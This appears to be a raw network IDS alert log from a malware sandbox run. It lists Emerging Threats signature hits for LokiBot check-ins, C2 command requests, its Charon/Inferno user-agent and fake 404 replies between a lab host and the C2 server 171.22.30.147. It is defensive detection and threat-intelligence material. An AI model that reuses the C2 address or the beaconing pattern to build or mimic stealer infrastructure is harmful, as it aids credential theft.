192.168.2.3171.22.30.14749703802024313 01/05/23-08:52:08.565296	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49703	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749859802024313 01/05/23-08:52:58.622571	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49859	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749756802025381 01/05/23-08:52:27.231494	TCP	2025381	ET TROJAN LokiBot Checkin	49756	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749868802024313 01/05/23-08:53:01.029018	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49868	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749806802825766 01/05/23-08:52:42.779655	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49806	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749720802825766 01/05/23-08:52:16.949813	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49720	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749802802024318 01/05/23-08:52:41.641382	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49802	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749860802025381 01/05/23-08:52:58.886735	TCP	2025381	ET TROJAN LokiBot Checkin	49860	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749872802021641 01/05/23-08:53:02.084337	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49872	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749958802021641 01/05/23-08:53:27.233105	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49958	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749758802825766 01/05/23-08:52:27.765970	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49758	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750040802021641 01/05/23-08:53:52.135869	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50040	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750081802825766 01/05/23-08:54:03.233046	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50081	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749832802025381 01/05/23-08:52:49.809310	TCP	2025381	ET TROJAN LokiBot Checkin	49832	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749859802024318 01/05/23-08:52:58.622571	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49859	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749997802025381 01/05/23-08:53:39.208772	TCP	2025381	ET TROJAN LokiBot Checkin	49997	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498492025483 01/05/23-08:52:55.968261	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49849	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749830802024313 01/05/23-08:52:49.252221	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49830	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498272025483 01/05/23-08:52:48.539251	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49827	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749961802825766 01/05/23-08:53:29.597138	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49961	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749784802025381 01/05/23-08:52:36.673037	TCP	2025381	ET TROJAN LokiBot Checkin	49784	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749830802024318 01/05/23-08:52:49.252221	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49830	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498382025483 01/05/23-08:52:52.903649	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49838	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749970802825766 01/05/23-08:53:32.043326	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49970	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749971802021641 01/05/23-08:53:32.299331	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49971	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749953802021641 01/05/23-08:53:25.469204	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49953	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497202025483 01/05/23-08:52:17.036927	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49720	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749925802021641 01/05/23-08:53:17.874226	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49925	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499432025483 01/05/23-08:53:22.801221	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49943	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750078802024313 01/05/23-08:54:02.320663	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50078	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749920802021641 01/05/23-08:53:16.511672	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49920	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749942802825766 01/05/23-08:53:22.441601	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49942	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750028802025381 01/05/23-08:53:48.853917	TCP	2025381	ET TROJAN LokiBot Checkin	50028	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749981802021641 01/05/23-08:53:34.961120	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49981	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750078802024318 01/05/23-08:54:02.320663	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50078	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749802802021641 01/05/23-08:52:41.641382	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49802	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497152025483 01/05/23-08:52:14.109490	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49715	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380497262025483 01/05/23-08:52:18.785455	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49726	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749868802024318 01/05/23-08:53:01.029018	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49868	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498462025483 01/05/23-08:52:55.179194	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49846	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380498572025483 01/05/23-08:52:58.138227	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49857	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749915802021641 01/05/23-08:53:15.112176	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49915	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749986802021641 01/05/23-08:53:36.285692	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49986	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500662025483 01/05/23-08:53:59.180210	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50066	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749728802025381 01/05/23-08:52:19.268418	TCP	2025381	ET TROJAN LokiBot Checkin	49728	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750056802025381 01/05/23-08:53:56.463023	TCP	2025381	ET TROJAN LokiBot Checkin	50056	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750038802025381 01/05/23-08:53:51.593310	TCP	2025381	ET TROJAN LokiBot Checkin	50038	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500552025483 01/05/23-08:53:56.268231	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50055	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749896802024318 01/05/23-08:53:08.759564	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49896	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749740802024313 01/05/23-08:52:22.636691	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49740	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749799802025381 01/05/23-08:52:40.836883	TCP	2025381	ET TROJAN LokiBot Checkin	49799	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750051802025381 01/05/23-08:53:55.100340	TCP	2025381	ET TROJAN LokiBot Checkin	50051	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750066802025381 01/05/23-08:53:59.096230	TCP	2025381	ET TROJAN LokiBot Checkin	50066	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749948802021641 01/05/23-08:53:24.079081	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49948	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749896802024313 01/05/23-08:53:08.759564	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49896	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749740802024318 01/05/23-08:52:22.636691	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49740	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749976802021641 01/05/23-08:53:33.629058	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49976	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750023802025381 01/05/23-08:53:47.546596	TCP	2025381	ET TROJAN LokiBot Checkin	50023	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749711802825766 01/05/23-08:52:12.061796	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49711	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749867802825766 01/05/23-08:53:00.773467	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49867	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497312025483 01/05/23-08:52:20.190278	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49731	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749958802024318 01/05/23-08:53:27.233105	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49958	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749738802025381 01/05/23-08:52:22.066688	TCP	2025381	ET TROJAN LokiBot Checkin	49738	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749972802024318 01/05/23-08:53:32.566966	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49972	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749943802021641 01/05/23-08:53:22.718924	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49943	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749790802825766 01/05/23-08:52:38.345416	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49790	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749958802024313 01/05/23-08:53:27.233105	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49958	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750011802825766 01/05/23-08:53:42.925761	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50011	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749712802024313 01/05/23-08:52:12.436257	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49712	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749712802024318 01/05/23-08:52:12.436257	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49712	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749972802024313 01/05/23-08:53:32.566966	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49972	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497862025483 01/05/23-08:52:37.298040	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49786	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749817802024318 01/05/23-08:52:45.747633	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49817	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497972025483 01/05/23-08:52:40.343463	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49797	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749817802024313 01/05/23-08:52:45.747633	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49817	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749830802021641 01/05/23-08:52:49.252221	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49830	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749812802024318 01/05/23-08:52:44.412618	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49812	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749895802825766 01/05/23-08:53:08.372653	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49895	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749766802025381 01/05/23-08:52:30.012463	TCP	2025381	ET TROJAN LokiBot Checkin	49766	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749901802024313 01/05/23-08:53:11.357263	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49901	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749812802024313 01/05/23-08:52:44.412618	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49812	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749968802024313 01/05/23-08:53:31.490288	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49968	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750045802021641 01/05/23-08:53:53.481872	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50045	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499652025483 01/05/23-08:53:30.756002	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49965	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749962802024313 01/05/23-08:53:29.855666	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49962	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749865802025381 01/05/23-08:53:00.234414	TCP	2025381	ET TROJAN LokiBot Checkin	49865	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749873802024313 01/05/23-08:53:02.352866	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49873	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749873802024318 01/05/23-08:53:02.352866	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49873	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750035802825766 01/05/23-08:53:50.741604	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50035	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749770802025381 01/05/23-08:52:31.112136	TCP	2025381	ET TROJAN LokiBot Checkin	49770	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749936802025381 01/05/23-08:53:20.832811	TCP	2025381	ET TROJAN LokiBot Checkin	49936	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749716802825766 01/05/23-08:52:14.357533	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49716	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749908802025381 01/05/23-08:53:13.214132	TCP	2025381	ET TROJAN LokiBot Checkin	49908	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749962802024318 01/05/23-08:53:29.855666	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49962	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750007802825766 01/05/23-08:53:41.829015	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50007	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750073802021641 01/05/23-08:54:00.951462	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50073	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749934802024313 01/05/23-08:53:20.304475	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49934	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749734802825766 01/05/23-08:52:20.978367	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49734	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749845802024313 01/05/23-08:52:54.838950	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49845	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749996802024313 01/05/23-08:53:38.933239	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49996	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750061802025381 01/05/23-08:53:57.824423	TCP	2025381	ET TROJAN LokiBot Checkin	50061	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750017802021641 01/05/23-08:53:44.537455	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50017	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497422025483 01/05/23-08:52:23.269269	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49742	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750001802825766 01/05/23-08:53:40.243949	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50001	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749996802024318 01/05/23-08:53:38.933239	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49996	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499212025483 01/05/23-08:53:16.873916	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49921	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750068802825766 01/05/23-08:53:59.646284	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50068	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749911802024318 01/05/23-08:53:14.014731	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49911	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749839802825766 01/05/23-08:52:53.202583	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49839	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749845802024318 01/05/23-08:52:54.838950	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49845	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749721802021641 01/05/23-08:52:17.231128	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49721	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749934802024318 01/05/23-08:53:20.304475	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49934	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500772025483 01/05/23-08:54:02.148840	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50077	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750035802021641 01/05/23-08:53:50.741604	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50035	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749964802025381 01/05/23-08:53:30.400374	TCP	2025381	ET TROJAN LokiBot Checkin	49964	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749744802825766 01/05/23-08:52:23.736699	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49744	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749849802021641 01/05/23-08:52:55.895226	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49849	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749891802024313 01/05/23-08:53:07.205477	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49891	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749893802025381 01/05/23-08:53:07.754435	TCP	2025381	ET TROJAN LokiBot Checkin	49893	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750033802025381 01/05/23-08:53:50.199257	TCP	2025381	ET TROJAN LokiBot Checkin	50033	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749762802825766 01/05/23-08:52:28.868227	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49762	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749891802024318 01/05/23-08:53:07.205477	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49891	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500442025483 01/05/23-08:53:53.305777	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50044	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749968802024318 01/05/23-08:53:31.490288	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49968	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749778802021641 01/05/23-08:52:34.958959	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49778	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749835802024318 01/05/23-08:52:50.902278	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49835	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499762025483 01/05/23-08:53:33.709700	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49976	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750005802025381 01/05/23-08:53:41.297546	TCP	2025381	ET TROJAN LokiBot Checkin	50005	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750007802021641 01/05/23-08:53:41.829015	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50007	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500332025483 01/05/23-08:53:50.284555	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50033	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380499542025483 01/05/23-08:53:25.808050	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49954	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749992802025381 01/05/23-08:53:37.885447	TCP	2025381	ET TROJAN LokiBot Checkin	49992	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749913802025381 01/05/23-08:53:14.593137	TCP	2025381	ET TROJAN LokiBot Checkin	49913	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749938802825766 01/05/23-08:53:21.374225	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49938	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749732802025381 01/05/23-08:52:20.401546	TCP	2025381	ET TROJAN LokiBot Checkin	49732	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749820802021641 01/05/23-08:52:46.558490	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49820	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749731802021641 01/05/23-08:52:20.113614	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49731	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749772802825766 01/05/23-08:52:31.644906	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49772	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749807802024313 01/05/23-08:52:43.044779	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49807	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499322025483 01/05/23-08:53:19.843053	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49932	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749807802024318 01/05/23-08:52:43.044779	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49807	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749809802025381 01/05/23-08:52:43.596832	TCP	2025381	ET TROJAN LokiBot Checkin	49809	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749863802024318 01/05/23-08:52:59.703117	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49863	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749911802024313 01/05/23-08:53:14.014731	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49911	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749863802024313 01/05/23-08:52:59.703117	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49863	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749706802825766 01/05/23-08:52:09.771973	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49706	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749837802025381 01/05/23-08:52:51.988001	TCP	2025381	ET TROJAN LokiBot Checkin	49837	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749877802021641 01/05/23-08:53:03.433942	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49877	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497912025483 01/05/23-08:52:38.699631	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49791	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749990802024313 01/05/23-08:53:37.383838	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49990	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749966802825766 01/05/23-08:53:30.946864	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49966	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749990802024318 01/05/23-08:53:37.383838	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49990	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750003802024313 01/05/23-08:53:40.763519	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50003	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749760802025381 01/05/23-08:52:28.304789	TCP	2025381	ET TROJAN LokiBot Checkin	49760	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497802025483 01/05/23-08:52:35.592230	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49780	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750058802825766 01/05/23-08:53:57.002594	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50058	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749789802025381 01/05/23-08:52:38.076275	TCP	2025381	ET TROJAN LokiBot Checkin	49789	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749835802024313 01/05/23-08:52:50.902278	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49835	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749916802021641 01/05/23-08:53:15.372296	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49916	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750021802024318 01/05/23-08:53:46.361205	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50021	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749726802024313 01/05/23-08:52:18.702884	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49726	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498132025483 01/05/23-08:52:44.765886	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49813	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749820802825766 01/05/23-08:52:46.558490	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49820	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750079802024318 01/05/23-08:54:02.588823	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50079	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750082802024313 01/05/23-08:54:03.532238	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50082	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749853802825766 01/05/23-08:52:56.960046	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49853	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750082802024318 01/05/23-08:54:03.532238	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50082	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498912025483 01/05/23-08:53:07.291807	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49891	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749952802021641 01/05/23-08:53:25.200806	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49952	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749949802021641 01/05/23-08:53:24.361661	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49949	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749704802025381 01/05/23-08:52:08.934535	TCP	2025381	ET TROJAN LokiBot Checkin	49704	80	192.168.2.3	171.22.30.147
